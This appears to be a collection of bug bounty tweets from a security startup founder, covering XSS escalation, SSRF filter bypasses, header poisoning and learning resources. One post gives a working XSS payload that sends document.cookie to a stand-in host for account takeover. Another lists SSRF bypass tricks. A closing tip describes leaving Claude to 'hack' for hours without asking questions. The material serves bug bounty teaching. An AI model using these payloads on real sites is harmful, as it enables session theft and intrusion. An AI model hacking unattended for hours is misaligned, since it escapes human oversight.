Building @Vulncure โก| Helping founders fix vulnerabilities before hackers find them. Talk to me about: Bug Bounties, LLM Security & React.๐ Book a 15-min Demo
We've curated entire API Pentesting Series into a single, auto-updating Notion page.
โข All existing parts
โข Future parts added automatically
โข One link to bookmark
Access the full library here: https://t.co/sndMacHPYJ
Upgrade your SSRF, CORS & Open Redirect testing with our new URL Validation Bypass cheat sheet, containing all known techniques! https://t.co/0VKIhaTGTs
Detecting an XSS (cross-site scripting) vulnerability during an engagement (or while doing bug bounty) can lead to some major results. ๐ฐ
But how do you even go about finding an #XSS vuln in the first place? Here's some tips to give you a boost the next time you're testing a web app:
- ๐ง๐ฟ๐ ๐ถ๐ป๐ท๐ฒ๐ฐ๐๐ถ๐ป๐ด ๐๐ง๐ ๐ ๐ถ๐ป๐๐๐ฒ๐ฎ๐ฑ ๐ผ๐ณ ๐๐ฎ๐๐ฎ๐ฆ๐ฐ๐ฟ๐ถ๐ฝ๐
- ๐ ๐ฎ๐ธ๐ฒ ๐๐๐ฟ๐ฒ ๐๐ฉ๐๐ฅ๐ฌ๐ง๐๐๐ก๐ ๐ถ๐ ๐ฒ๐๐ฐ๐ฎ๐ฝ๐ฒ๐ฑ, ๐ป๐ผ๐ ๐ท๐๐๐ ๐๐ฝ๐ฒ๐ฐ๐ถ๐ณ๐ถ๐ฐ ๐ฐ๐ต๐ฎ๐ฟ๐ฎ๐ฐ๐๐ฒ๐ฟ๐
- ๐๐ถ๐ป๐ฎ๐น๐น๐, ๐๐๐ผ๐ฝ ๐๐๐ถ๐ป๐ด ๐๐ต๐ฒ ๐ฐ๐ผ๐บ๐บ๐ผ๐ป ๐ฝ๐ฎ๐๐น๐ผ๐ฎ๐ฑ ๐ฎ๐น๐ฒ๐ฟ๐(๐ญ)
Become a better web app pentester with one of the several TCM Security web app certs, like the beginner-friendly PWPA (Practical Web Pentest Associate): https://t.co/7hFBUfEtck
Retweeting as previous post got shadow banned.
Bug Bounty Tips: Here's how you can escalate XSS Issues to ATO๐ธ
Have you Identified a XSS Issue? Don't be too quick to report it with alert(1) or alert(document.cookie) for a Medium payout.
Here's how you can escalate XSS Issues to an ATO for much higher bounties:
1๏ธโฃAlways try Exfiltrating session based cookies to your controlled server. Here's a simple payload you can use to demonstrate ATO: "><img src="x" onerror="document.location.href='https://yoursitesite(.)com?cookies=' + document.cookie + ''">
This payload exfiltrates user cookies and forwards them to your site. Create a Proof of Concept (PoC) video showing how these cookies can be used to takeover a user's session e.g. send a request to any authenticated API and demonstrate that the cookies work.
2๏ธโฃIf cookies are set as HTTPOnly, try escalating the Impact by performing sensitive client-side actions, such as changing a user's email address or password leading to ATO
3๏ธโฃIf sensitive client-side actions aren't possible, check for leaked session cookies or tokens in the server's responses on all pages. Use your XSS payload to exfiltrate these to your controlled server to get an ATO
4๏ธโฃIf no session cookies or tokens are found on any pages, check the browser's local storage for stored session tokens and accordingly craft your XSS payload to exfiltrate these to your server leading to an ATO.
๐Lesson: Always look for ways to escalate XSS Issues to ATO as this could potentially boost the bounty amount for that report by 2-10x! ๐ก #BugBounty #InfoSec #Cybersecurity #BugBountyTips #HackerOne #BugCrowd #SecurityTips
Most beginners jump between tools too fast.
Better workflow:
Pick one bug class for 7 days.
Example: IDOR.
Study:
- PortSwigger labs
- disclosed IDOR reports
- API object patterns
- access-control mistakes
- real app flows
1/2
If you are learning bug bounty, do not start with random payload lists.
Start here:
1. PortSwigger Web Security Academy
2. OWASP Testing Guide
3. HackerOne disclosed reports
4. Bugcrowd University
5. Real target recon notes
6. Your own vulnerability journal
In fintech, it can affect:
โ user trust
โ money movement
โ audit readiness
โ customer confidence
โ partner approvals
@Vulncure is my attempt to turn that security thinking into a practical workflow for startups.
Bug bounty people understand something many founders miss:
Small logic flaws can become big business problems.
A missing authorization check is not just a โmedium severity bug.โ
1/2
3. ๐ Open Redirects: Chain the SSRF parameter through a trusted redirector.
These simple checks routinely bypass basic validation patterns. ๐ฏ
What is your go-to payload when testing restricted API endpoints?
3/3
Most automated scanners miss SSRF because they fail to bypass modern WAF configurations. ๐ก๏ธ
Here is a quick 3-step checklist to test when you hit a firewall:
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1. ๐ DNS Rebinding: Resolve target host to public IP, then trigger a 302 redirect to 127.0.0.1.
2. ๐ IPv6 representations: Try using [::] or [0:0:0:0:0:ffff:127.0.0.1] instead of localhost.
2/3
Most hunters send a poisoned header, donโt see reflection, and stop testing.
Thatโs the real mistake.
Headers can silently affect:
โฃ reset links
โฃ emails
โฃ asset URLs
โฃ API responses
โฃ redirects
Skip the HTML obsession.
Check network calls, redirects, and email flows
Tell Claude "I'm going to bed, don't ask me any questions, don't stop hacking" so it will run for hours.
But before you try it:
1. Cap sub-agents at 2~3. If it spins way too many agents the context fills up with no previous message to roll back to, and you're stuck opening a new instance and telling it to go read all the session files to rebuild context.
2. Tell it to keep notes at the start of every session. Compaction rewrites the working memory so anything that isn't in a file gets wiped out. but if it's been writing leads and gadgets to disk the whole time, it picks back up just fine.
To make things more accessible you can build a central API endpoint so leads and gadgets land in one place regardless of where Claude is running, discord bots work well for this too.
Give Claude a few of your best written reports as reference and tell it to stay concise, technical, and dry so it doesn't add any extra stuff that may not matter. Give it the exact fields you want filled every time and **always proofread by following the reproduction steps** yourself.